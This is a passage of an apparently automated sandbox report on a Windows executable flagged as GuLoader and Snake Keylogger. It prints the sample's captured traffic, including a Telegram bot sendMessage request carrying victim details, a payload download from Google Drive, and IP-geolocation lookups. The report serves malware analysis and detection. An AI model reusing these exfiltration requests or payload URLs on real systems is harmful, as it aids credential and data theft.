cfL4;desc="?proto=TCP&rtt=43298&min_rtt=40679&rtt_var=16565&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=48252&cwnd=247&unsent_bytes=0&cid=1ef6ccf308c937e3&ts=691&x=0"
2025-03-07 21:54:43 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49711	104.21.64.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:46 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-07 21:54:46 UTC	864	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:46 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 101490 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 17:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HERwRB4hQowejT94owfj%2ByGNIgV9l5bY9xvHWIOMIVI3gD2DQlLA8MBFmhX%2BGOdL%2BiIZhps%2FpHxVR7IGS%2FBISyjMpEhJ7YbzEFVmYHGwxO12kJ0LGBkb%2F1LVBZp2rV%2FcX1x3SJhb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91cd554fdf3c458a-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=43617&min_rtt=40832&rtt_var=16314&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=54901&cwnd=200&unsent_bytes=0&cid=3341170fa94c6abc&ts=707&x=0"
2025-03-07 21:54:46 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49713	104.21.64.1	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:49 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-07 21:54:49 UTC	856	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 21:54:49 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 101493 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 17:43:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jwal0QiVgwxfnGhJRWxNyGt0z2o%2BYjC8mMkDllvSEgqZC9L1nE4eFDtnFoS%2FMWkKDpjsjUVWYQfyLJ0MMqXaUor6N2jgKHt1CpcOLFhIscJR1FfS%2BZXkal8he63aCTp4o5A2b4m5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91cd5564187012cf-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41712&min_rtt=40590&rtt_var=13425&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=62581&cwnd=231&unsent_bytes=0&cid=8379b964d70e389b&ts=722&x=0"
2025-03-07 21:54:49 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49714	149.154.167.220	443	2072	C:\Users\user\Desktop\GuuQOl5kJR.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 21:54:51 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:618321%0D%0ADate%20and%20Time:%2008/03/2025%20/%2021:03:35%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20618321%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-03-07 21:54:52 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 07 Mar 2025 21:54:52 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-07 21:54:52 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	16:52:48
Start date:	07/03/2025
Path:	C:\Users\user\Desktop\GuuQOl5kJR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GuuQOl5kJR.exe"
Imagebase:	0x400000
File size:	924'368 bytes
MD5 hash:	E9C0C56C4A52C53407DE85B33E496E75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1388456956.0000000005E2C000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:53:21
Start date:	07/03/2025
Path:	C:\Users\user\Desktop\GuuQOl5kJR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GuuQOl5kJR.exe"
Imagebase:	0x7ff67a7d0000
File size:	924'368 bytes
MD5 hash:	E9C0C56C4A52C53407DE85B33E496E75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310E590 CryptUnprotectData,		9_2_0310E590
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0310ECE8 CryptUnprotectData,		9_2_0310ECE8

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:618321%0D%0ADate%20and%20Time:%2008/03/2025%20/%2021:03:35%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20618321%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49700 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49697 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49699 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.10:49695 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49701 -> 104.21.64.1:443

Source: GuuQOl5kJR.exe	Virustotal: Detection: 65%			Perma Link
Source: GuuQOl5kJR.exe	ReversingLabs: Detection: 52%

Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.10:49695 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.10:49698 version: TLS 1.0

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0307F45Dh	9_2_0307F2C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0307F45Dh	9_2_0307F4AC
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0307FC3Fh	9_2_0307F960
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03101FA8h	9_2_03101B90
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310DCADh	9_2_0310D970
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031019E1h	9_2_03101730
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310F078h	9_2_0310EDA8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03101FA8h	9_2_03101B8A
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310BE71h	9_2_0310BBC8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310CCB9h	9_2_0310CA10
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310FD17h	9_2_0310FA48
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310D591h	9_2_0310D2E8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_03100853
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_03100040
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310C2F1h	9_2_0310C048
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_03100673
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310D111h	9_2_0310CE68
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03101FA8h	9_2_03101ED6
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310F887h	9_2_0310F5B8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0310C861h	9_2_0310C5B8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313A680h	9_2_0313A388
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03139FD8h	9_2_03139C68
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031319DFh	9_2_03131710
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313B010h	9_2_0313AD18
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031339CFh	9_2_03133700
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313C7F8h	9_2_0313C500
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03137E07h	9_2_03137B38
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03132C1Fh	9_2_03132950
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313D650h	9_2_0313D358
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03134C0Fh	9_2_03134940
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313EE38h	9_2_0313EB40
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03135E17h	9_2_03135B48
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03139617h	9_2_03139348
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313BE68h	9_2_0313BB70
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03130C2Fh	9_2_03130960
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03133E5Fh	9_2_03133B90
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313FC90h	9_2_0313F998
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03137057h	9_2_03136D88
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313E4A8h	9_2_0313E1B0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03131E6Fh	9_2_03131BA0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313509Fh	9_2_03134DD0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031362A7h	9_2_03135FD8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03139AA7h	9_2_031397D8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03138297h	9_2_03137FC8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313CCC0h	9_2_0313C9C8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031310BFh	9_2_03130DF0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031330AFh	9_2_03132DE0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313B4D8h	9_2_0313B1E0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031374E7h	9_2_03137218
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313F300h	9_2_0313F008
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031322FFh	9_2_03132030
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313C330h	9_2_0313C038
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031342EFh	9_2_03134020
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313DB18h	9_2_0313D820
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03138CF7h	9_2_03138A28
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313AB48h	9_2_0313A850
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03138729h	9_2_03138458
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313030Fh	9_2_03130040
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313353Fh	9_2_03133270
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313E970h	9_2_0313E678
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313552Fh	9_2_03135260
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03136737h	9_2_03136468
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313D188h	9_2_0313CE90
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313154Fh	9_2_03131280
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313477Fh	9_2_031344B0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03139187h	9_2_03138EB8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03137977h	9_2_031376A8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313B9A0h	9_2_0313B6A8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313079Fh	9_2_031304D0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313F7C8h	9_2_0313F4D0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313278Fh	9_2_031324C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03135997h	9_2_031356F0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03136BC7h	9_2_031368F8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 0313DFE0h	9_2_0313DCE8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03165E10h	9_2_03165B18
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03160800h	9_2_03160508
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03164629h	9_2_03164330
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03162E40h	9_2_03162B48
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03161658h	9_2_03161360
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03165480h	9_2_03165188
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031624B0h	9_2_031621B8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03163C98h	9_2_031639A0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03160CC8h	9_2_031609D0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03164AF0h	9_2_031647F8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03163308h	9_2_03163010
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03161B20h	9_2_03161828
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03165948h	9_2_03165650
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03160338h	9_2_03160040
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03164160h	9_2_03163E68
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03161190h	9_2_03160E98
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03162978h	9_2_03162680
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 031637D0h	9_2_031634D8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03164FB8h	9_2_03164CC0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then jmp 03161FE8h	9_2_03161CF0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	9_2_03583D08
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	9_2_03583CF8

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1_MAOalbsF9ynDQ5rY66GdFW-JuvfEIhB HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1_MAOalbsF9ynDQ5rY66GdFW-JuvfEIhB&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GuuQOl5kJR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

